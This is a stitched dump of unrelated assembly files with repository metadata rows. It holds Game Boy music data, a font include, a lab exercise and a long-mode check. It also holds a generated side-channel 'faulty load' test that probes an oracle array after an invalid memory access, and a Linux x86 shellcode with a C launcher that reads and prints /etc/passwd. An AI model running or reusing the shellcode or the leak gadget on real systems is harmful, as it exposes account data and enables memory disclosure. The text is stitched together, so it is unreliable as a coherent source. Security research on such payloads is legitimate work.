DB $20, $20, $00, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $00, $00, $00, $20
DB $AF,$2F, $9F,$1F, $93,$17, $8C,$0F
DB $28, $28, $00, $20
DB $20, $20, $22, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $20, $20
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $20
DB $B0,$2F, $00, $00, $8C,$0F
DB $2C, $00, $00, $28
DB $28, $00, $00, $20
DB $24, $00, $00, $20
DB $BC,$2F, $00, $00, $8C,$0F
DB $2C, $00, $00, $20
DB $28, $00, $00, $8C,$0F
DB $24, $00, $00, $28
DB $20, $00, $00, $20
DB $00, $00, $00, $20
DB $B0,$2F, $00, $00, $8C,$0F
DB $2C, $00, $00, $20
DB $BA,$2F, $00, $00, $8C,$0F
DB $2C, $00, $00, $20
DB $28, $00, $00, $8C,$0F
DB $24, $00, $00, $20
DB $20, $00, $00, $8C,$0F
DB $00, $00, $49,$00, $20
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
SECTION "funkyforest_10",ROMX
funkyforest_10:
DB $BA,$2F, $9C,$1F, $8C,$17, $8C,$0F
DB $00, $A4,$91,$00, $00, $28
DB $00, $9C,$91,$00, $22, $20
DB $00, $A4,$91,$00, $00, $20
DB $00, $9C,$91,$00, $20, $8C,$0F
DB $00, $A4,$91,$00, $00, $20
DB $00, $9C,$1C, $00, $8C,$0F
DB $00, $A4,$18, $00, $28
DB $00, $9C,$14, $00, $20
DB $00, $20, $00, $20
DB $00, $A4,$1C, $8C,$17, $8C,$0F
DB $B9,$2F, $00, $00, $20
DB $B8,$2F, $20, $22, $8C,$0F
DB $B7,$2F, $00, $00, $28
DB $B6,$2F, $00, $20, $20
DB $B7,$2F, $00, $00, $20
DB $B6,$2F, $00, $00, $8C,$0F
DB $B5,$2F, $00, $00, $20
DB $B4,$2F, $95,$1F, $90,$17, $8C,$0F
DB $B3,$2F, $9D,$91,$00, $00, $28
DB $B4,$2F, $95,$91,$00, $22, $20
DB $B3,$2F, $9D,$91,$00, $00, $20
DB $B2,$2F, $95,$91,$00, $20, $8C,$0F
DB $B1,$2F, $9D,$91,$00, $00, $20
DB $B0,$2F, $95,$1C, $00, $8C,$0F
DB $00, $9D,$18, $00, $28
DB $00, $95,$14, $00, $20
DB $00, $20, $00, $20
DB $20, $9D,$1F, $00, $8C,$0F
DB $00, $28, $00, $20
DB $A9,$2F, $20, $00, $8C,$0F
DB $AA,$2F, $00, $00, $28
DB $A9,$2F, $00, $00, $20
DB $AA,$2F, $00, $00, $20
DB $A9,$2F, $98,$1F, $00, $8C,$0F
DB $AA,$2F, $28, $00, $20
DB $A9,$2F, $20, $8E,$17, $8C,$0F
DB $AA,$2F, $00, $00, $28
DB $A9,$2F, $00, $22, $20
DB $AA,$2F, $00, $00, $20
DB $A9,$2F, $98,$1F, $20, $8C,$0F
DB $AA,$2F, $28, $00, $20
DB $20, $20, $00, $8C,$0F
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $49,$00, $20
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
SECTION "funkyforest_11",ROMX
funkyforest_11:
DB $00, $A1,$1F, $8E,$17, $8C,$0F
DB $00, $A6,$91,$00, $00, $28
DB $00, $A1,$91,$00, $00, $20
DB $00, $A6,$91,$00, $20, $20
DB $00, $A1,$91,$00, $00, $8C,$0F
DB $00, $A6,$91,$00, $00, $20
DB $00, $A1,$1C, $90,$17, $8C,$0F
DB $00, $A6,$18, $00, $28
DB $00, $A1,$14, $00, $20
DB $00, $20, $20, $20
DB $00, $A6,$1F, $00, $8C,$0F
DB $00, $28, $00, $20
DB $00, $20, $92,$17, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $00, $00, $20, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $20
DB $00, $00, $8E,$17, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $00, $00, $20, $20
DB $00, $9F,$1F, $93,$17, $8C,$0F
DB $00, $28, $00, $20
DB $00, $20, $00, $8C,$0F
DB $00, $00, $20, $28
DB $00, $00, $00, $20
DB $B6,$28, $00, $00, $20
DB $B8,$28, $00, $00, $8C,$0F
DB $B9,$28, $00, $00, $20
DB $BA,$28, $00, $93,$17, $8C,$0F
DB $B9,$28, $00, $00, $28
DB $BA,$28, $00, $00, $20
DB $B9,$28, $00, $00, $20
DB $BA,$28, $00, $90,$17, $8C,$0F
DB $B9,$28, $00, $00, $20
DB $BA,$28, $00, $8E,$17, $8C,$0F
DB $B9,$28, $00, $00, $28
DB $BB,$29, $00, $00, $20
DB $B9,$29, $00, $00, $20
DB $BB,$29, $00, $93,$17, $8C,$0F
DB $B9,$29, $00, $00, $20
DB $BC,$29, $00, $00, $8C,$0F
DB $B9,$29, $00, $00, $20
DB $BC,$29, $00, $00, $8C,$0F
DB $B9,$29, $00, $20, $20
DB $BC,$29, $00, $00, $8C,$0F
DB $B9,$29, $00, $49,$00, $20
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
SECTION "funkyforest_12",ROMX
funkyforest_12:
DB $BD,$29, $9D,$1F, $91,$17, $8C,$0F
DB $B9,$29, $00, $00, $28
DB $BD,$29, $28, $00, $20
DB $B9,$29, $00, $20, $20
DB $BD,$29, $20, $00, $00
DB $B9,$29, $00, $00, $00
DB $BE,$29, $9D,$1C, $91,$17, $8C,$0F
DB $B9,$29, $00, $00, $28
DB $BE,$29, $A1,$18, $00, $20
DB $B9,$2A, $00, $20, $20
DB $BE,$2A, $A4,$14, $00, $00
DB $B9,$2A, $00, $00, $00
DB $BC,$2A, $9D,$1C, $91,$17, $8C,$0F
DB $BF,$2A, $00, $00, $28
DB $BC,$2A, $A1,$18, $00, $20
DB $B9,$2A, $00, $20, $20
DB $BC,$2A, $A4,$14, $00, $00
DB $BF,$2A, $00, $00, $00
DB $BC,$2C, $9D,$1C, $91,$17, $8C,$0F
DB $B9,$2C, $00, $00, $28
DB $BC,$2C, $A4,$18, $00, $20
DB $BF,$2C, $00, $20, $20
DB $BC,$2C, $A1,$14, $00, $00
DB $B9,$2C, $00, $00, $00
DB $BC,$2C, $9D,$1C, $91,$17, $8C,$0F
DB $BF,$2C, $00, $00, $28
DB $BC,$2C, $9F,$18, $00, $20
DB $B9,$2C, $00, $20, $20
DB $BC,$2C, $A1,$14, $00, $00
DB $BF,$2C, $00, $00, $00
DB $BC,$2C, $A4,$1C, $91,$17, $8C,$0F
DB $B9,$2D, $00, $00, $28
DB $BC,$2D, $A9,$18, $00, $20
DB $BF,$2D, $00, $20, $20
DB $BC,$2D, $A8,$14, $00, $00
DB $B9,$2D, $00, $00, $00
DB $BC,$2D, $A4,$1C, $91,$17, $8C,$0F
DB $BF,$2D, $00, $00, $28
DB $BC,$2D, $A1,$18, $00, $20
DB $B9,$2D, $00, $20, $20
DB $BC,$2D, $9D,$14, $00, $00
DB $BF,$2D, $00, $00, $00
DB $BC,$2D, $98,$1C, $91,$17, $8C,$0F
DB $B9,$2D, $00, $00, $28
DB $BC,$2D, $9A,$18, $00, $20
DB $BF,$2D, $00, $20, $20
DB $BC,$2D, $9C,$14, $00, $00
DB $B9,$2D, $00, $49,$00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
SECTION "funkyforest_13",ROMX
funkyforest_13:
DB $BA,$2D, $9D,$1C, $91,$17, $8C,$0F
DB $BC,$2D, $00, $00, $28
DB $BF,$2D, $A0,$18, $00, $20
DB $BC,$2D, $00, $20, $20
DB $BA,$2D, $A4,$14, $00, $00
DB $B8,$2D, $00, $00, $00
DB $BF,$2D, $9D,$1C, $91,$17, $8C,$0F
DB $BC,$2D, $00, $00, $28
DB $BA,$2D, $A0,$18, $00, $20
DB $B8,$2D, $00, $20, $20
DB $BF,$2D, $A4,$14, $00, $00
DB $BC,$2D, $00, $00, $00
DB $BA,$2D, $9D,$1C, $91,$17, $8C,$0F
DB $B8,$2E, $00, $00, $28
DB $BF,$2E, $A0,$18, $00, $20
DB $BC,$2E, $00, $20, $20
DB $BA,$2E, $A4,$14, $00, $00
DB $B8,$2E, $00, $00, $00
DB $BA,$2E, $9D,$1C, $91,$17, $8C,$0F
DB $BC,$2E, $00, $00, $28
DB $C0,$2E, $A0,$18, $00, $20
DB $BC,$2E, $00, $20, $20
DB $B8,$2E, $A4,$14, $00, $00
DB $BC,$2E, $00, $00, $00
DB $C1,$2E, $9D,$1C, $91,$17, $8C,$0F
DB $BF,$2E, $00, $00, $28
DB $BC,$2F, $9F,$18, $00, $20
DB $B8,$2F, $00, $20, $20
DB $C1,$2F, $A0,$14, $00, $00
DB $BF,$2F, $00, $00, $00
DB $BC,$2F, $A4,$1C, $91,$17, $8C,$0F
DB $B8,$2F, $00, $00, $28
DB $C1,$2F, $A9,$18, $00, $20
DB $BF,$2F, $00, $20, $20
DB $BC,$2F, $A7,$14, $00, $00
DB $B8,$2F, $00, $00, $00
DB $C2,$2F, $A4,$1C, $91,$17, $8C,$0F
DB $C1,$2F, $00, $00, $28
DB $BF,$2F, $A0,$18, $00, $20
DB $BC,$2F, $00, $20, $20
DB $BA,$2F, $9D,$14, $00, $00
DB $B8,$2F, $00, $00, $00
DB $C3,$2F, $9D,$1C, $91,$17, $8C,$0F
DB $C1,$2F, $00, $00, $28
DB $BE,$2F, $A0,$18, $00, $20
DB $BC,$2F, $00, $20, $20
DB $BA,$2F, $A4,$14, $00, $00
DB $B8,$2F, $00, $49,$00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
SECTION "funkyforest_14",ROMX
funkyforest_14:
DB $C3,$2F, $9C,$1C, $8C,$17, $8C,$0F
DB $C1,$2F, $00, $00, $28
DB $BE,$2F, $9F,$18, $00, $20
DB $BB,$2F, $00, $20, $20
DB $B7,$2F, $A4,$14, $00, $00
DB $C3,$2F, $00, $00, $00
DB $C1,$2F, $9C,$1C, $8C,$17, $8C,$0F
DB $BE,$2F, $00, $00, $28
DB $BB,$2F, $9F,$18, $00, $20
DB $B7,$2F, $00, $20, $20
DB $C3,$2F, $A4,$14, $00, $00
DB $C1,$2F, $00, $00, $00
DB $BE,$2F, $9C,$1C, $8C,$17, $8C,$0F
DB $BB,$2F, $00, $00, $28
DB $B7,$2F, $9F,$18, $00, $20
DB $C3,$2F, $00, $20, $20
DB $C1,$2F, $A4,$14, $00, $00
DB $BE,$2F, $00, $00, $00
DB $BB,$2F, $9C,$1C, $8C,$17, $8C,$0F
DB $B7,$2F, $00, $00, $28
DB $C3,$2F, $9F,$18, $00, $20
DB $C0,$2F, $00, $20, $20
DB $BC,$2F, $9C,$14, $00, $00
DB $BA,$2F, $00, $00, $00
DB $B7,$2F, $98,$1C, $8C,$17, $8C,$0F
DB $C3,$2F, $00, $00, $28
DB $C0,$2F, $9C,$18, $00, $20
DB $BC,$2F, $00, $20, $20
DB $BA,$2F, $9F,$14, $00, $00
DB $B7,$2F, $00, $00, $00
DB $BA,$2F, $9F,$1F, $8C,$17, $8C,$0F
DB $2C, $2C, $00, $28
DB $28, $28, $00, $20
DB $24, $24, $20, $20
DB $B7,$2F, $9C,$1F, $00, $00
DB $28, $28, $00, $00
DB $20, $20, $8C,$17, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $00, $00, $20, $20
DB $B7,$2F, $9C,$1F, $00, $00
DB $2C, $2C, $00, $00
DB $B6,$2F, $9B,$1F, $8C,$17, $8C,$0F
DB $2C, $2C, $00, $28
DB $28, $28, $00, $20
DB $24, $24, $20, $20
DB $B5,$2F, $9A,$1F, $00, $8C,$0F
DB $2C, $49,$00, $48,$00, $20
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
SECTION "funkyforest_data",ROMX
funkyforest_data::
DB BANK(funkyforest_0)
DW funkyforest_0
DB BANK(funkyforest_1)
DW funkyforest_1
DB BANK(funkyforest_2)
DW funkyforest_2
DB BANK(funkyforest_1)
DW funkyforest_1
DB BANK(funkyforest_3)
DW funkyforest_3
DB BANK(funkyforest_4)
DW funkyforest_4
DB BANK(funkyforest_5)
DW funkyforest_5
DB BANK(funkyforest_6)
DW funkyforest_6
DB BANK(funkyforest_7)
DW funkyforest_7
DB BANK(funkyforest_8)
DW funkyforest_8
DB BANK(funkyforest_9)
DW funkyforest_9
DB BANK(funkyforest_10)
DW funkyforest_10
DB BANK(funkyforest_11)
DW funkyforest_11
DB BANK(funkyforest_12)
DW funkyforest_12
DB BANK(funkyforest_13)
DW funkyforest_13
DB BANK(funkyforest_14)
DW funkyforest_14
DB $00
DW $0000
| 29.513384
| 46
| 0.403939
|
5d840254f046685442e03803345ff5ac92bbae7e
| 129
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/font/fzx/fonts/utz/SkoolBrk/_ff_utz_SkoolBrkEXT.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/font/fzx/fonts/utz/SkoolBrk/_ff_utz_SkoolBrkEXT.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/font/fzx/fonts/utz/SkoolBrk/_ff_utz_SkoolBrkEXT.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
SECTION rodata_font_fzx
PUBLIC _ff_utz_SkoolBrkEXT
_ff_utz_SkoolBrkEXT:
BINARY "font/fzx/fonts/utz/SkoolBrk/skoolbrkEXT.fzx"
| 14.333333
| 52
| 0.844961
|
aa4ca77135d1cadbd5ed4f36e693e651eb3cd450
| 5,727
|
asm
|
Assembly
|
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca.log_1_1098.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca.log_1_1098.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca.log_1_1098.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x938f, %rsi
lea addresses_WC_ht+0x1de4f, %rdi
nop
cmp %r10, %r10
mov $14, %rcx
rep movsq
nop
nop
nop
inc %r10
lea addresses_normal_ht+0x139fd, %rcx
xor $1429, %r9
movl $0x61626364, (%rcx)
nop
nop
nop
nop
nop
sub $15879, %r12
lea addresses_UC_ht+0x13e4f, %rsi
lea addresses_UC_ht+0x1074f, %rdi
cmp %rax, %rax
mov $103, %rcx
rep movsb
cmp $44307, %r10
lea addresses_A_ht+0x1664f, %rsi
lea addresses_WC_ht+0x30f, %rdi
nop
nop
and $18128, %rbp
mov $8, %rcx
rep movsw
nop
inc %rbp
lea addresses_WT_ht+0x964f, %r12
xor $53466, %rsi
movups (%r12), %xmm6
vpextrq $1, %xmm6, %rax
nop
nop
nop
nop
nop
inc %rsi
lea addresses_WC_ht+0x1ba4f, %r12
nop
nop
nop
nop
and %r9, %r9
movl $0x61626364, (%r12)
nop
xor %rdi, %rdi
lea addresses_D_ht+0x6e4f, %rdi
nop
nop
nop
nop
and $51655, %rsi
mov (%rdi), %rbp
nop
dec %rcx
lea addresses_A_ht+0x1664f, %rdi
clflush (%rdi)
nop
nop
cmp %rbp, %rbp
and $0xffffffffffffffc0, %rdi
movaps (%rdi), %xmm0
vpextrq $1, %xmm0, %rax
nop
nop
nop
nop
sub %r12, %r12
lea addresses_UC_ht+0x8067, %rsi
lea addresses_normal_ht+0x3d6f, %rdi
nop
nop
sub %r9, %r9
mov $86, %rcx
rep movsq
nop
nop
add $48932, %rsi
lea addresses_D_ht+0x17e0f, %rax
cmp $45774, %rdi
mov $0x6162636465666768, %rsi
movq %rsi, (%rax)
nop
nop
nop
xor %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r8
push %rbp
push %rbx
push %rdi
// Store
lea addresses_RW+0xe65f, %r11
nop
lfence
mov $0x5152535455565758, %r12
movq %r12, %xmm2
vmovups %ymm2, (%r11)
nop
nop
nop
nop
nop
dec %rbx
// Load
mov $0x44f, %rbp
nop
nop
sub $35222, %rbx
vmovaps (%rbp), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %r12
inc %rbx
// Load
mov $0x391490000000064f, %rdi
clflush (%rdi)
inc %r13
mov (%rdi), %rbx
nop
nop
sub %r12, %r12
// Load
mov $0x3a7238000000004f, %rbx
nop
nop
nop
and $22234, %r8
movb (%rbx), %r13b
nop
nop
nop
nop
nop
dec %rdi
// Store
lea addresses_WT+0x3e4f, %rbx
add %r12, %r12
movw $0x5152, (%rbx)
nop
nop
nop
inc %r8
// Load
lea addresses_normal+0x684f, %rdi
nop
nop
nop
nop
nop
add %rbx, %rbx
mov (%rdi), %r8d
nop
nop
sub $49114, %rbx
// Store
lea addresses_normal+0x7e4f, %r13
nop
nop
nop
nop
xor $3339, %rbx
movl $0x51525354, (%r13)
nop
nop
nop
cmp $1430, %rbp
// Store
lea addresses_RW+0x4cdf, %rbp
nop
nop
nop
nop
add %rbx, %rbx
movw $0x5152, (%rbp)
// Exception!!!
nop
nop
mov (0), %rdi
add %rdi, %rdi
// Store
lea addresses_US+0x1064f, %rdi
nop
nop
inc %r11
mov $0x5152535455565758, %r13
movq %r13, %xmm6
movups %xmm6, (%rdi)
nop
nop
nop
nop
sub %r11, %r11
// Faulty Load
mov $0x391490000000064f, %r8
nop
add %r11, %r11
mov (%r8), %ebx
lea oracles, %r13
and $0xff, %rbx
shlq $12, %rbx
mov (%r13,%rbx,1), %rbx
pop %rdi
pop %rbx
pop %rbp
pop %r8
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': True, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 11}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 9}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 3}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WT_ht', 'same': True, 'AVXalign': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': True, 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'00': 1}
00
*/
| 20.308511
| 152
| 0.64257
|
5b66015bda46c8d63f5a508911294c37117a8b4e
| 93
|
asm
|
Assembly
|
Lab Assessment Submission/Lab Assessment 2/2_LA2_1731201042.asm
|
sakibsadmanshajib/CSE331L-Section-1-Fall20-NSU
|
85eadea4d9ff6f4ba2e474eed8d740468fe84907
|
[
"MIT"
] | null | null | null |
Lab Assessment Submission/Lab Assessment 2/2_LA2_1731201042.asm
|
sakibsadmanshajib/CSE331L-Section-1-Fall20-NSU
|
85eadea4d9ff6f4ba2e474eed8d740468fe84907
|
[
"MIT"
] | null | null | null |
Lab Assessment Submission/Lab Assessment 2/2_LA2_1731201042.asm
|
sakibsadmanshajib/CSE331L-Section-1-Fall20-NSU
|
85eadea4d9ff6f4ba2e474eed8d740468fe84907
|
[
"MIT"
] | null | null | null |
org 100h
A EQU 1
B EQU 2
C EQU 3
D EQU 4
MOV AX A
ADD AX B
ADD AX C
ADD AX D
MOV BX AX
ret
| 6.642857
| 9
| 0.655914
|
bba57f22c96d1bd533c73f4085449e3f527edbba
| 732
|
asm
|
Assembly
|
main/Initializer/include/arch/x86_64/asm/longmode.inc.asm
|
AlexanderShirokih/avangard-os
|
dad51f376d722931b32ecf9e15704a72a26e39ee
|
[
"Apache-2.0"
] | null | null | null |
main/Initializer/include/arch/x86_64/asm/longmode.inc.asm
|
AlexanderShirokih/avangard-os
|
dad51f376d722931b32ecf9e15704a72a26e39ee
|
[
"Apache-2.0"
] | null | null | null |
main/Initializer/include/arch/x86_64/asm/longmode.inc.asm
|
AlexanderShirokih/avangard-os
|
dad51f376d722931b32ecf9e15704a72a26e39ee
|
[
"Apache-2.0"
] | null | null | null |
check_long_mode:
; test if extended processor info in available
mov eax, 0x80000000 ; implicit argument for cpuid
cpuid ; get highest supported argument
cmp eax, 0x80000001 ; it needs to be at least 0x80000001
jb .no_long_mode ; if it's less, the CPU is too old for long mode
; use extended info to test if long mode is available
mov eax, 0x80000001 ; argument for extended processor info
cpuid ; returns various feature bits in ecx and edx
test edx, 1 << 29 ; test if the LM-bit is set in the D-register
jz .no_long_mode ; If it's not set, there is no long mode
ret
.no_long_mode:
mov eax, no_long_mode_msg
jmp errmsg
| 43.058824
| 75
| 0.654372
|
205e30295a53a9368b3b7509b8fb8d3e88996fd3
| 1,911
|
asm
|
Assembly
|
Linux/etcpasswd.asm
|
EgeBalci/Shellcode
|
2475af53b20186283b3eb1572d4de58650ad4652
|
[
"MIT"
] | 2
|
2017-04-11T21:58:34.000Z
|
2020-05-18T02:04:41.000Z
|
Linux/etcpasswd.asm
|
EgeBalci/Shellcode
|
2475af53b20186283b3eb1572d4de58650ad4652
|
[
"MIT"
] | null | null | null |
Linux/etcpasswd.asm
|
EgeBalci/Shellcode
|
2475af53b20186283b3eb1572d4de58650ad4652
|
[
"MIT"
] | 4
|
2017-04-11T21:58:35.000Z
|
2021-05-14T04:53:15.000Z
|
Linux/x86 - /etc/passwd Reader - 58 bytes
#Greetz : Bomberman(Leader),wiremask.eu
#Author : B3mB4m
#Concat : Do not disturb -Bomberman
#Info
#File descriptor on EBX
#Buffer on ECX
#Bytes to read on EDX
Disassembly of section .text:
08048060 <.text>:
8048060: 31 c9 xor %ecx,%ecx
8048062: 31 c0 xor %eax,%eax
8048064: 31 d2 xor %edx,%edx
8048066: 51 push %ecx
8048067: b0 05 mov $0x5,%al
8048069: 68 73 73 77 64 push $0x64777373
804806e: 68 63 2f 70 61 push $0x61702f63
8048073: 68 2f 2f 65 74 push $0x74652f2f
8048078: 89 e3 mov %esp,%ebx
804807a: cd 80 int $0x80
804807c: 89 d9 mov %ebx,%ecx
804807e: 89 c3 mov %eax,%ebx
8048080: b0 03 mov $0x3,%al
8048082: 66 ba ff 0f mov $0xfff,%dx
8048086: 66 42 inc %dx
8048088: cd 80 int $0x80
804808a: 31 c0 xor %eax,%eax
804808c: 31 db xor %ebx,%ebx
804808e: b3 01 mov $0x1,%bl
8048090: b0 04 mov $0x4,%al
8048092: cd 80 int $0x80
8048094: 31 c0 xor %eax,%eax
8048096: b0 01 mov $0x1,%al
8048098: cd 80 int $0x80
#include <stdio.h>
#include <string.h>
char *shellcode = "\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
int main(void){
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();}
| 37.470588
| 253
| 0.500785
|
e6b75fc08cafeb9c35e4785bf143e9b2df0bd777
| 5,840
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2_notsx.log_1159_1130.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2_notsx.log_1159_1130.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
